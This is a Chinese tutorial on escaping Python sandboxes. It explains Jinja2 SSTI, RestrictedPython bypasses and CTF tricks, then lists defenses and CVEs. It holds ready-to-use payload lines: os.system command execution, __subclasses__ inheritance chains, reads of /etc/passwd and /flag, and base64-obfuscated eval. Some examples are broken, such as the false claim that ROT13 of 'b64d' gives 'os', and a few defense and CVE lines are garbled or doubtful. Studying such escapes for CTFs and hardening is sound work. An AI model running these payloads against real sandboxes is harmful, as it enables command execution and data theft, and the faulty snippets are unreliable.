漏洞知识点《Python沙盒逃逸深度解析》

Python沙盒逃逸是绕过受限执行环境（沙盒）的限制，执行任意代码或访问敏感数据的技术。其核心在于利用Python的动态特性、内置对象继承链及模块导入机制，突破沙盒的防护措施。以下是详细解析：

一、沙盒逃逸的核心目标

1. 执行系统命令
   通过调用os.system、subprocess.Popen等函数执行Shell命令，例如读取文件或反弹Shell。
2. 文件操作
   读取敏感文件（如/etc/passwd）、写入后门文件。
3. 环境信息泄露
   获取沙盒配置、环境变量或密钥（如__builtins__中的敏感模块）。

二、常见攻击链与利用方法

1. 探测沙盒漏洞

   • 基础测试：注入{{7*7}}或__import__('os').system('id')验证模板引擎动态执行能力。
   • 检查内置对象：通过dir()或__builtins__查看可用模块。

2. 访问危险函数

   • 直接调用模块：若未禁用os，直接执行命令：

     __import__('os').system('cat /flag')
     

   • 间接导入：通过字符串编码绕过关键字过滤：

     __import__('b64d'.decode('rot13')).system('id')  # 'b64d'→'os'
     

3. 类继承链利用

   • 遍历子类：从基础类（如object）通过__subclasses__()找到危险类：

     ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
     

     其中X为os._wrap_close或subprocess.Popen的类索引。
   • 利用文件对象：通过types.FileType或open读取文件：

     types.FileType('/etc/passwd').read()
     

4. 绕过过滤的技巧

   • 属性链分割：使用getattr或|attr()绕过点号过滤：

     request|attr('application')|attr('__globals__')['os'].system('id')
     

   • 编码混淆：Base64、ROT13编码命令字符串：

     eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
     

   • 利用内联函数：通过timeit、platform等非敏感模块间接调用命令：

     timeit.timeit("__import__('os').system('id')", number=1)
     

三、典型沙盒环境与绕过案例

1. Jinja2模板引擎SSTI

   • 漏洞场景：直接渲染未过滤的用户输入，如render_template_string(user_input)。
   • 利用链：通过{{config}}泄露密钥，或通过类继承链调用os模块。

2. RestrictedPython沙盒

   • 限制机制：禁用__import__、open等函数。
   • 绕过方法：利用__builtins__.__dict__或_getattr_动态获取危险函数。

3. CTF题目实战

   • 常见考点：通过__subclasses__找到warnings.catch_warnings类，其__init__的全局变量包含sys模块。
   • 文件读取绕过：使用().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()。

四、防御措施与最佳实践

1. 禁用高危函数
   在沙盒配置中移除eval、exec、os、subprocess等模块，例如：

   __builtins__.__dict__.clear()  # 清除内置函数
   

2. 限制模块导入

   • 白名单机制：仅允许预定义的模块和函数。
   • 沙盒环境：使用RestrictedPython或PyPy沙盒，限制全局状态访问。

3. 输入过滤与静态模板

   • 正则过滤：拦截{{、__class__、__import__等敏感符号。
   • 静态渲染：优先使用render_template而非动态拼接模板。

4. 监控与加固

   • 日志审计：记录异常代码执行行为。
   • 容器隔离：将沙盒运行在Docker等隔离环境中，限制资源访问。

五、历史漏洞与扩展

• CVE-2017-5524：Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过，攻击者可泄露敏感数据。
• Temporal沙盒绕过：通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。